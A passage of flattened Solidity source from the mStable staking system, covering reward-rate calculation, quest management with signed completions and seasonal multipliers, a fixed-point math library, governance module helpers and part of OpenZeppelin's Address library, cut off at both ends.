uint256 rewardUnitsToDistribute = data.rewardRate * timeDelta; // + 1 SLOAD
uint256 supply = totalSupply(); // + 1 SLOAD
// If there is no StakingToken liquidity, avoid div(0)
// If there is nothing to distribute, short circuit
if (supply == 0 || rewardUnitsToDistribute == 0) {
return (data.rewardPerTokenStored, lastApplicableTime);
}
// new reward units per token = (rewardUnitsToDistribute * 1e18) / totalTokens
uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(supply);
// return summed rate
return (data.rewardPerTokenStored + unitsToDistributePerToken, lastApplicableTime); // + 1 SLOAD
}
/**
* @dev Calculates the amount of unclaimed rewards a user has earned
* @param _account User address
* @return Total reward amount earned
*/
function earned(address _account) public view returns (uint256) {
return _earned(_account, rewardPerToken());
}
function _earned(address _account, uint256 _currentRewardPerToken)
internal
view
returns (uint256)
{
// current rate per token - rate user previously received
uint256 userRewardDelta = _currentRewardPerToken - userData[_account].rewardPerTokenPaid; // + 1 SLOAD
// Short circuit if there is nothing new to distribute
if (userRewardDelta == 0) {
return userData[_account].rewards;
}
// new reward = staked tokens * difference in rate
uint256 userNewReward = balanceOf(_account).mulTruncate(userRewardDelta); // + 1 SLOAD
// add to previous rewards
return userData[_account].rewards + userNewReward;
}
/***************************************
ABSTRACT
****************************************/
function balanceOf(address account) public view virtual returns (uint256);
function totalSupply() public view virtual returns (uint256);
function _claimRewardHook(address account) internal virtual;
/***************************************
ADMIN
****************************************/
/**
* @dev Notifies the contract that new rewards have been added.
* Calculates an updated rewardRate based on the rewards in period.
* @param _reward Units of RewardToken that have been added to the pool
*/
function notifyRewardAmount(uint256 _reward)
external
override
onlyRewardsDistributor
updateReward(address(0))
{
require(_reward < 1e24, "Notify more than a million units");
uint256 currentTime = block.timestamp;
// Pay and reset the pendingAdditionalRewards
if (pendingAdditionalReward > 1) {
_reward += (pendingAdditionalReward - 1);
pendingAdditionalReward = 1;
}
if (_reward > 0) {
REWARDS_TOKEN.safeTransfer(rewardTokenVendor, _reward);
}
// If previous period over, reset rewardRate
if (currentTime >= globalData.periodFinish) {
globalData.rewardRate = SafeCast.toUint96(_reward / DURATION);
}
// If additional reward to existing period, calc sum
else {
uint256 remainingSeconds = globalData.periodFinish - currentTime;
uint256 leftover = remainingSeconds * globalData.rewardRate;
globalData.rewardRate = SafeCast.toUint96((_reward + leftover) / DURATION);
}
globalData.lastUpdateTime = SafeCast.toUint32(currentTime);
globalData.periodFinish = SafeCast.toUint32(currentTime + DURATION);
emit RewardAdded(_reward);
}
/**
* @dev Called by the child contract to notify of any additional rewards that have accrued.
* Trusts that this is called honestly.
* @param _additionalReward Units of additional RewardToken to add at the next notification
*/
function _notifyAdditionalReward(uint256 _additionalReward) internal virtual {
require(_additionalReward < 1e24, "Cannot notify with more than a million units");
pendingAdditionalReward += _additionalReward;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import { ContextUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import { SignatureVerifier } from "./deps/SignatureVerifier.sol";
import { ImmutableModule } from "../../shared/ImmutableModule.sol";
import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import { IQuestManager } from "./interfaces/IQuestManager.sol";
import { IStakedToken } from "./interfaces/IStakedToken.sol";
import "./deps/GamifiedTokenStructs.sol";
/**
* @title QuestManager
* @author mStable
* @notice Centralised place to track quest management and completion status
* @dev VERSION: 1.0
* DATE: 2021-08-25
*/
contract QuestManager is IQuestManager, Initializable, ContextUpgradeable, ImmutableModule {
/// @notice Tracks the completion of each quest (user => questId => completion)
mapping(address => mapping(uint256 => bool)) private _questCompletion;
/// @notice User balance structs containing all data needed to scale balance
mapping(address => QuestBalance) internal _balances;
/// @notice List of quests, whose ID corresponds to their position in the array (from 0)
Quest[] private _quests;
/// @notice Timestamp at which the current season started
uint32 public override seasonEpoch;
/// @notice Timestamp at which the contract was created
uint32 public startTime;
/// @notice A whitelisted questMaster who can administer quests including signing user quests are completed.
address public override questMaster;
/// @notice account that can sign a user's quest as being completed.
address internal _questSigner;
/// @notice List of all staking tokens
address[] internal _stakedTokens;
/**
* @param _nexus System nexus
*/
constructor(address _nexus) ImmutableModule(_nexus) {}
/**
* @param _questMaster account that can sign user quests as completed
* @param _questSignerArg account that can sign user quests as completed
*/
function initialize(address _questMaster, address _questSignerArg) external initializer {
startTime = SafeCast.toUint32(block.timestamp);
questMaster = _questMaster;
_questSigner = _questSignerArg;
}
/**
* @dev Checks that _msgSender is either governor or the quest master
*/
modifier questMasterOrGovernor() {
_questMasterOrGovernor();
_;
}
function _questMasterOrGovernor() internal view {
require(_msgSender() == questMaster || _msgSender() == _governor(), "Not verified");
}
/***************************************
Getters
****************************************/
/**
* @notice Gets raw quest data
*/
function getQuest(uint256 _id) external view override returns (Quest memory) {
return _quests[_id];
}
/**
* @dev Simply checks if a given user has already completed a given quest
* @param _account User address
* @param _id Position of quest in array
* @return bool with completion status
*/
function hasCompleted(address _account, uint256 _id) public view override returns (bool) {
return _questCompletion[_account][_id];
}
/**
* @notice Raw quest balance
*/
function balanceData(address _account) external view override returns (QuestBalance memory) {
return _balances[_account];
}
/***************************************
Admin
****************************************/
/**
* @dev Sets the quest master that can administoer quests. eg add, expire and start seasons.
*/
function setQuestMaster(address _newQuestMaster) external override questMasterOrGovernor {
emit QuestMaster(questMaster, _newQuestMaster);
questMaster = _newQuestMaster;
}
/**
* @dev Sets the quest signer that can sign user quests as being completed.
*/
function setQuestSigner(address _newQuestSigner) external override onlyGovernor {
emit QuestSigner(_questSigner, _newQuestSigner);
_questSigner = _newQuestSigner;
}
/**
* @dev Adds a new stakedToken
*/
function addStakedToken(address _stakedToken) external override onlyGovernor {
require(_stakedToken != address(0), "Invalid StakedToken");
_stakedTokens.push(_stakedToken);
emit StakedTokenAdded(_stakedToken);
}
/***************************************
QUESTS
****************************************/
/**
* @dev Called by questMasters to add a new quest to the system with default 'ACTIVE' status
* @param _model Type of quest rewards multiplier (does it last forever or just for the season).
* @param _multiplier Multiplier, from 1 == 1.01x to 100 == 2.00x
* @param _expiry Timestamp at which quest expires. Note that permanent quests should still be given a timestamp.
*/
function addQuest(
QuestType _model,
uint8 _multiplier,
uint32 _expiry
) external override questMasterOrGovernor {
require(_expiry > block.timestamp + 1 days, "Quest window too small");
require(_multiplier > 0 && _multiplier <= 50, "Quest multiplier too large > 1.5x");
_quests.push(
Quest({
model: _model,
multiplier: _multiplier,
status: QuestStatus.ACTIVE,
expiry: _expiry
})
);
emit QuestAdded(
msg.sender,
_quests.length - 1,
_model,
_multiplier,
QuestStatus.ACTIVE,
_expiry
);
}
/**
* @dev Called by questMasters to expire a quest, setting it's status as EXPIRED. After which it can
* no longer be completed.
* @param _id Quest ID (its position in the array)
*/
function expireQuest(uint16 _id) external override questMasterOrGovernor {
require(_id < _quests.length, "Quest does not exist");
require(_quests[_id].status == QuestStatus.ACTIVE, "Quest already expired");
_quests[_id].status = QuestStatus.EXPIRED;
if (block.timestamp < _quests[_id].expiry) {
_quests[_id].expiry = SafeCast.toUint32(block.timestamp);
}
emit QuestExpired(_id);
}
/**
* @dev Called by questMasters to start a new quest season. After this, all current
* seasonMultipliers will be reduced at the next user action (or triggered manually).
* In order to reduce cost for any keepers, it is suggested to add quests at the start
* of a new season to incentivise user actions.
* A new season can only begin after 9 months has passed.
*/
function startNewQuestSeason() external override questMasterOrGovernor {
require(block.timestamp > (startTime + 39 weeks), "First season has not elapsed");
require(block.timestamp > (seasonEpoch + 39 weeks), "Season has not elapsed");
uint256 len = _quests.length;
for (uint256 i = 0; i < len; i++) {
Quest memory quest = _quests[i];
if (quest.model == QuestType.SEASONAL) {
require(
quest.status == QuestStatus.EXPIRED || block.timestamp > quest.expiry,
"All seasonal quests must have expired"
);
}
}
seasonEpoch = SafeCast.toUint32(block.timestamp);
emit QuestSeasonEnded();
}
/***************************************
USER
****************************************/
/**
* @dev Called by anyone to complete one or more quests for a staker. The user must first collect a signed message
* from the whitelisted _signer.
* @param _account Account that has completed the quest
* @param _ids Quest IDs (its position in the array)
* @param _signature Signature from the verified _questSigner, containing keccak hash of account & ids
*/
function completeUserQuests(
address _account,
uint256[] memory _ids,
bytes calldata _signature
) external override {
uint256 len = _ids.length;
require(len > 0, "No quest IDs");
uint8 questMultiplier = checkForSeasonFinish(_account);
// For each quest
for (uint256 i = 0; i < len; i++) {
require(_validQuest(_ids[i]), "Invalid Quest ID");
require(!hasCompleted(_account, _ids[i]), "Quest already completed");
require(
SignatureVerifier.verify(_questSigner, _account, _ids, _signature),
"Invalid Quest Signer Signature"
);
// Store user quest has completed
_questCompletion[_account][_ids[i]] = true;
// Update multiplier
Quest memory quest = _quests[_ids[i]];
if (quest.model == QuestType.PERMANENT) {
_balances[_account].permMultiplier += quest.multiplier;
} else {
_balances[_account].seasonMultiplier += quest.multiplier;
}
questMultiplier += quest.multiplier;
}
uint256 len2 = _stakedTokens.length;
for (uint256 i = 0; i < len2; i++) {
IStakedToken(_stakedTokens[i]).applyQuestMultiplier(_account, questMultiplier);
}
emit QuestCompleteQuests(_account, _ids);
}
/**
* @dev Called by anyone to complete one or more accounts for a quest. The user must first collect a signed message
* from the whitelisted _questMaster.
* @param _questId Quest ID (its position in the array)
* @param _accounts Accounts that has completed the quest
* @param _signature Signature from the verified _questMaster, containing keccak hash of id and accounts
*/
function completeQuestUsers(
uint256 _questId,
address[] memory _accounts,
bytes calldata _signature
) external override {
require(_validQuest(_questId), "Invalid Quest ID");
uint256 len = _accounts.length;
require(len > 0, "No accounts");
require(
SignatureVerifier.verify(_questSigner, _questId, _accounts, _signature),
"Invalid Quest Signer Signature"
);
Quest memory quest = _quests[_questId];
// For each user account
for (uint256 i = 0; i < len; i++) {
require(!hasCompleted(_accounts[i], _questId), "Quest already completed");
// store user quest has completed
_questCompletion[_accounts[i]][_questId] = true;
// _applyQuestMultiplier(_accounts[i], quests);
uint8 questMultiplier = checkForSeasonFinish(_accounts[i]);
// Update multiplier
if (quest.model == QuestType.PERMANENT) {
_balances[_accounts[i]].permMultiplier += quest.multiplier;
} else {
_balances[_accounts[i]].seasonMultiplier += quest.multiplier;
}
questMultiplier += quest.multiplier;
uint256 len2 = _stakedTokens.length;
for (uint256 j = 0; j < len2; j++) {
IStakedToken(_stakedTokens[j]).applyQuestMultiplier(_accounts[i], questMultiplier);
}
}
emit QuestCompleteUsers(_questId, _accounts);
}
/**
* @dev Simply checks if a quest is valid. Quests are valid if their id exists,
* they have an ACTIVE status and they have not yet reached their expiry timestamp.
* @param _id Position of quest in array
* @return bool with validity status
*/
function _validQuest(uint256 _id) internal view returns (bool) {
return
_id < _quests.length &&
_quests[_id].status == QuestStatus.ACTIVE &&
block.timestamp < _quests[_id].expiry;
}
/**
* @dev Checks if the season has just finished between now and the users last action.
* If it has, we reset the seasonMultiplier. Either way, we update the lastAction for the user.
* NOTE - it is important that this is called as a hook before each state change operation
* @param _account Address of user that should be updated
*/
function checkForSeasonFinish(address _account)
public
override
returns (uint8 newQuestMultiplier)
{
QuestBalance storage balance = _balances[_account];
// If the last action was before current season, then reset the season timing
if (_hasFinishedSeason(balance.lastAction)) {
// Remove 85% of the multiplier gained in this season
balance.seasonMultiplier = (balance.seasonMultiplier * 15) / 100;
balance.lastAction = SafeCast.toUint32(block.timestamp);
}
return balance.seasonMultiplier + balance.permMultiplier;
}
/**
* @dev Simple view fn to check if the users last action was before the starting of the current season
*/
function _hasFinishedSeason(uint32 _lastAction) internal view returns (bool) {
return _lastAction < seasonEpoch;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { ImmutableModule } from "../shared/ImmutableModule.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IRewardsDistributionRecipient } from "../interfaces/IRewardsDistributionRecipient.sol";
/**
* @title RewardsDistributionRecipient
* @author Originally: Synthetix (forked from /Synthetixio/synthetix/contracts/RewardsDistributionRecipient.sol)
* Changes by: mStable
* @notice RewardsDistributionRecipient gets notified of additional rewards by the rewardsDistributor
* @dev Changes: Addition of Module and abstract `getRewardToken` func + cosmetic
*/
abstract contract InitializableRewardsDistributionRecipient is
IRewardsDistributionRecipient,
ImmutableModule
{
// This address has the ability to distribute the rewards
address public rewardsDistributor;
constructor(address _nexus) ImmutableModule(_nexus) {}
/** @dev Recipient is a module, governed by mStable governance */
function _initialize(address _rewardsDistributor) internal virtual {
rewardsDistributor = _rewardsDistributor;
}
/**
* @dev Only the rewards distributor can notify about rewards
*/
modifier onlyRewardsDistributor() {
require(msg.sender == rewardsDistributor, "Caller is not reward distributor");
_;
}
/**
* @dev Change the rewardsDistributor - only called by mStable governor
* @param _rewardsDistributor Address of the new distributor
*/
function setRewardsDistribution(address _rewardsDistributor) external onlyGovernor {
rewardsDistributor = _rewardsDistributor;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
/**
* @title StableMath
* @author mStable
* @notice A library providing safe mathematical operations to multiply and
* divide with standardised precision.
* @dev Derives from OpenZeppelin's SafeMath lib and uses generic system
* wide variables for managing precision.
*/
library StableMath {
/**
* @dev Scaling unit for use in specific calculations,
* where 1 * 10**18, or 1e18 represents a unit '1'
*/
uint256 private constant FULL_SCALE = 1e18;
/**
* @dev Token Ratios are used when converting between units of bAsset, mAsset and MTA
* Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold)
* bAsset ratio unit for use in exact calculations,
* where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit
*/
uint256 private constant RATIO_SCALE = 1e8;
/**
* @dev Provides an interface to the scaling unit
* @return Scaling unit (1e18 or 1 * 10**18)
*/
function getFullScale() internal pure returns (uint256) {
return FULL_SCALE;
}
/**
* @dev Provides an interface to the ratio unit
* @return Ratio scale unit (1e8 or 1 * 10**8)
*/
function getRatioScale() internal pure returns (uint256) {
return RATIO_SCALE;
}
/**
* @dev Scales a given integer to the power of the full scale.
* @param x Simple uint256 to scale
* @return Scaled value a to an exact number
*/
function scaleInteger(uint256 x) internal pure returns (uint256) {
return x * FULL_SCALE;
}
/***************************************
PRECISE ARITHMETIC
****************************************/
/**
* @dev Multiplies two precise units, and then truncates by the full scale
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) {
return mulTruncateScale(x, y, FULL_SCALE);
}
/**
* @dev Multiplies two precise units, and then truncates by the given scale. For example,
* when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @param scale Scale unit
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit
*/
function mulTruncateScale(
uint256 x,
uint256 y,
uint256 scale
) internal pure returns (uint256) {
// e.g. assume scale = fullScale
// z = 10e18 * 9e17 = 9e36
// return 9e36 / 1e18 = 9e18
return (x * y) / scale;
}
/**
* @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result
* @param x Left hand input to multiplication
* @param y Right hand input to multiplication
* @return Result after multiplying the two inputs and then dividing by the shared
* scale unit, rounded up to the closest base unit.
*/
function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e17 * 17268172638 = 138145381104e17
uint256 scaled = x * y;
// e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17
uint256 ceil = scaled + FULL_SCALE - 1;
// e.g. 13814538111.399...e18 / 1e18 = 13814538111
return ceil / FULL_SCALE;
}
/**
* @dev Precisely divides two units, by first scaling the left hand operand. Useful
* for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17)
* @param x Left hand input to division
* @param y Right hand input to division
* @return Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) {
// e.g. 8e18 * 1e18 = 8e36
// e.g. 8e36 / 10e18 = 8e17
return (x * FULL_SCALE) / y;
}
/***************************************
RATIO FUNCS
****************************************/
/**
* @dev Multiplies and truncates a token ratio, essentially flooring the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand operand to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return c Result after multiplying the two inputs and then dividing by the ratio scale
*/
function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) {
return mulTruncateScale(x, ratio, RATIO_SCALE);
}
/**
* @dev Multiplies and truncates a token ratio, rounding up the result
* i.e. How much mAsset is this bAsset worth?
* @param x Left hand input to multiplication (i.e Exact quantity)
* @param ratio bAsset ratio
* @return Result after multiplying the two inputs and then dividing by the shared
* ratio scale, rounded up to the closest base unit.
*/
function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) {
// e.g. How much mAsset should I burn for this bAsset (x)?
// 1e18 * 1e8 = 1e26
uint256 scaled = x * ratio;
// 1e26 + 9.99e7 = 100..00.999e8
uint256 ceil = scaled + RATIO_SCALE - 1;
// return 100..00.999e8 / 1e8 = 1e18
return ceil / RATIO_SCALE;
}
/**
* @dev Precisely divides two ratioed units, by first scaling the left hand operand
* i.e. How much bAsset is this mAsset worth?
* @param x Left hand operand in division
* @param ratio bAsset ratio
* @return c Result after multiplying the left operand by the scale, and
* executing the division on the right hand input.
*/
function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) {
// e.g. 1e14 * 1e8 = 1e22
// return 1e22 / 1e12 = 1e10
return (x * RATIO_SCALE) / ratio;
}
/***************************************
HELPERS
****************************************/
/**
* @dev Calculates minimum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Minimum of the two inputs
*/
function min(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? y : x;
}
/**
* @dev Calculated maximum of two numbers
* @param x Left hand input
* @param y Right hand input
* @return Maximum of the two inputs
*/
function max(uint256 x, uint256 y) internal pure returns (uint256) {
return x > y ? x : y;
}
/**
* @dev Clamps a value to an upper bound
* @param x Left hand input
* @param upperBound Maximum possible value to return
* @return Input x clamped to a maximum value, upperBound
*/
function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) {
return x > upperBound ? upperBound : x;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { PlatformTokenVendor } from "./PlatformTokenVendor.sol";
/**
* @title PlatformTokenVendorFactory
* @author mStable
* @notice Library that deploys a PlatformTokenVendor contract which holds rewards tokens
* @dev Used to reduce the byte size of the contracts that need to deploy a PlatformTokenVendor contract
*/
library PlatformTokenVendorFactory {
/// @dev for some reason Typechain will not generate the types if the library only has the create function
function dummy() public pure returns (bool) {
return true;
}
/**
* @notice Deploys a new PlatformTokenVendor contract
* @param _rewardsToken reward or platform rewards token. eg MTA or WMATIC
* @return address of the deployed PlatformTokenVendor contract
*/
function create(IERC20 _rewardsToken) public returns (address) {
PlatformTokenVendor newPlatformTokenVendor = new PlatformTokenVendor(_rewardsToken);
return address(newPlatformTokenVendor);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { ModuleKeys } from "./ModuleKeys.sol";
import { INexus } from "../interfaces/INexus.sol";
/**
* @title ImmutableModule
* @author mStable
* @dev Subscribes to module updates from a given publisher and reads from its registry.
* Contract is used for upgradable proxy contracts.
*/
abstract contract ImmutableModule is ModuleKeys {
INexus public immutable nexus;
/**
* @dev Initialization function for upgradable proxy contracts
* @param _nexus Nexus contract address
*/
constructor(address _nexus) {
require(_nexus != address(0), "Nexus address is zero");
nexus = INexus(_nexus);
}
/**
* @dev Modifier to allow function calls only from the Governor.
*/
modifier onlyGovernor() {
_onlyGovernor();
_;
}
function _onlyGovernor() internal view {
require(msg.sender == _governor(), "Only governor can execute");
}
/**
* @dev Modifier to allow function calls only from the Governance.
* Governance is either Governor address or Governance address.
*/
modifier onlyGovernance() {
require(
msg.sender == _governor() || msg.sender == _governance(),
"Only governance can execute"
);
_;
}
/**
* @dev Returns Governor address from the Nexus
* @return Address of Governor Contract
*/
function _governor() internal view returns (address) {
return nexus.governor();
}
/**
* @dev Returns Governance Module address from the Nexus
* @return Address of the Governance (Phase 2)
*/
function _governance() internal view returns (address) {
return nexus.getModule(KEY_GOVERNANCE);
}
/**
* @dev Return SavingsManager Module address from the Nexus
* @return Address of the SavingsManager Module contract
*/
function _savingsManager() internal view returns (address) {
return nexus.getModule(KEY_SAVINGS_MANAGER);
}
/**
* @dev Return Recollateraliser Module address from the Nexus
* @return Address of the Recollateraliser Module contract (Phase 2)
*/
function _recollateraliser() internal view returns (address) {
return nexus.getModule(KEY_RECOLLATERALISER);
}
/**
* @dev Return Liquidator Module address from the Nexus
* @return Address of the Liquidator Module contract
*/
function _liquidator() internal view returns (address) {
return nexus.getModule(KEY_LIQUIDATOR);
}
/**
* @dev Return ProxyAdmin Module address from the Nexus
* @return Address of the ProxyAdmin Module contract
*/
function _proxyAdmin() internal view returns (address) {
return nexus.getModule(KEY_PROXY_ADMIN);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IRewardsDistributionRecipient {
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
}
interface IRewardsRecipientWithPlatformToken {
function notifyRewardAmount(uint256 reward) external;
function getRewardToken() external view returns (IERC20);
function getPlatformToken() external view returns (IERC20);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
/**
* @title ModuleKeys
* @author mStable
* @notice Provides system wide access to the byte32 represntations of system modules
* This allows each system module to be able to reference and update one another in a
* friendly way
* @dev keccak256() values are hardcoded to avoid re-evaluation of the constants at runtime.
*/
contract ModuleKeys {
// Governance
// ===========
// keccak256("Governance");
bytes32 internal constant KEY_GOVERNANCE =
0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d;
//keccak256("Staking");
bytes32 internal constant KEY_STAKING =
0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034;
//keccak256("ProxyAdmin");
bytes32 internal constant KEY_PROXY_ADMIN =
0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1;
// mStable
// =======
// keccak256("OracleHub");
bytes32 internal constant KEY_ORACLE_HUB =
0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040;
// keccak256("Manager");
bytes32 internal constant KEY_MANAGER =
0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f;
//keccak256("Recollateraliser");
bytes32 internal constant KEY_RECOLLATERALISER =
0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f;
//keccak256("MetaToken");
bytes32 internal constant KEY_META_TOKEN =
0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2;
// keccak256("SavingsManager");
bytes32 internal constant KEY_SAVINGS_MANAGER =
0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1;
// keccak256("Liquidator");
bytes32 internal constant KEY_LIQUIDATOR =
0x1e9cb14d7560734a61fa5ff9273953e971ff3cd9283c03d8346e3264617933d4;
// keccak256("InterestValidator");
bytes32 internal constant KEY_INTEREST_VALIDATOR =
0xc10a28f028c7f7282a03c90608e38a4a646e136e614e4b07d119280c5f7f839f;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
/**
* @title INexus
* @dev Basic interface for interacting with the Nexus i.e. SystemKernel
*/
interface INexus {
function governor() external view returns (address);
function getModule(bytes32 key) external view returns (address);
function proposeModule(bytes32 _key, address _addr) external;
function cancelProposedModule(bytes32 _key) external;
function acceptProposedModule(bytes32 _key) external;
function acceptProposedModules(bytes32[] calldata _keys) external;
function requestLockModule(bytes32 _key) external;
function cancelLockModule(bytes32 _key) external;
function lockModule(bytes32 _key) external;
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { MassetHelpers } from "../../shared/MassetHelpers.sol";
/**
* @title PlatformTokenVendor
* @author mStable
* @notice Stores platform tokens for distributing to StakingReward participants
* @dev Only deploy this during the constructor of a given StakingReward contract
*/
contract PlatformTokenVendor {
IERC20 public immutable platformToken;
address public immutable parentStakingContract;
/** @dev Simple constructor that stores the parent address */
constructor(IERC20 _platformToken) {
parentStakingContract = msg.sender;
platformToken = _platformToken;
MassetHelpers.safeInfiniteApprove(address(_platformToken), msg.sender);
}
/**
* @dev Re-approves the StakingReward contract to spend the platform token.
* Just incase for some reason approval has been reset.
*/
function reApproveOwner() external {
MassetHelpers.safeInfiniteApprove(address(platformToken), parentStakingContract);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.6;
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title MassetHelpers
* @author mStable
* @notice Helper functions to facilitate minting and redemption from off chain
* @dev VERSION: 1.0
* DATE: 2020-03-28
*/
library MassetHelpers {
using SafeERC20 for IERC20;
function transferReturnBalance(
address _sender,
address _recipient,
address _bAsset,
uint256 _qty
) internal returns (uint256 receivedQty, uint256 recipientBalance) {
uint256 balBefore = IERC20(_bAsset).balanceOf(_recipient);
IERC20(_bAsset).safeTransferFrom(_sender, _recipient, _qty);
recipientBalance = IERC20(_bAsset).balanceOf(_recipient);
receivedQty = recipientBalance - balBefore;
}
function safeInfiniteApprove(address _asset, address _spender) internal {
IERC20(_asset).safeApprove(_spender, 0);
IERC20(_asset).safeApprove(_spender, 2**256 - 1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
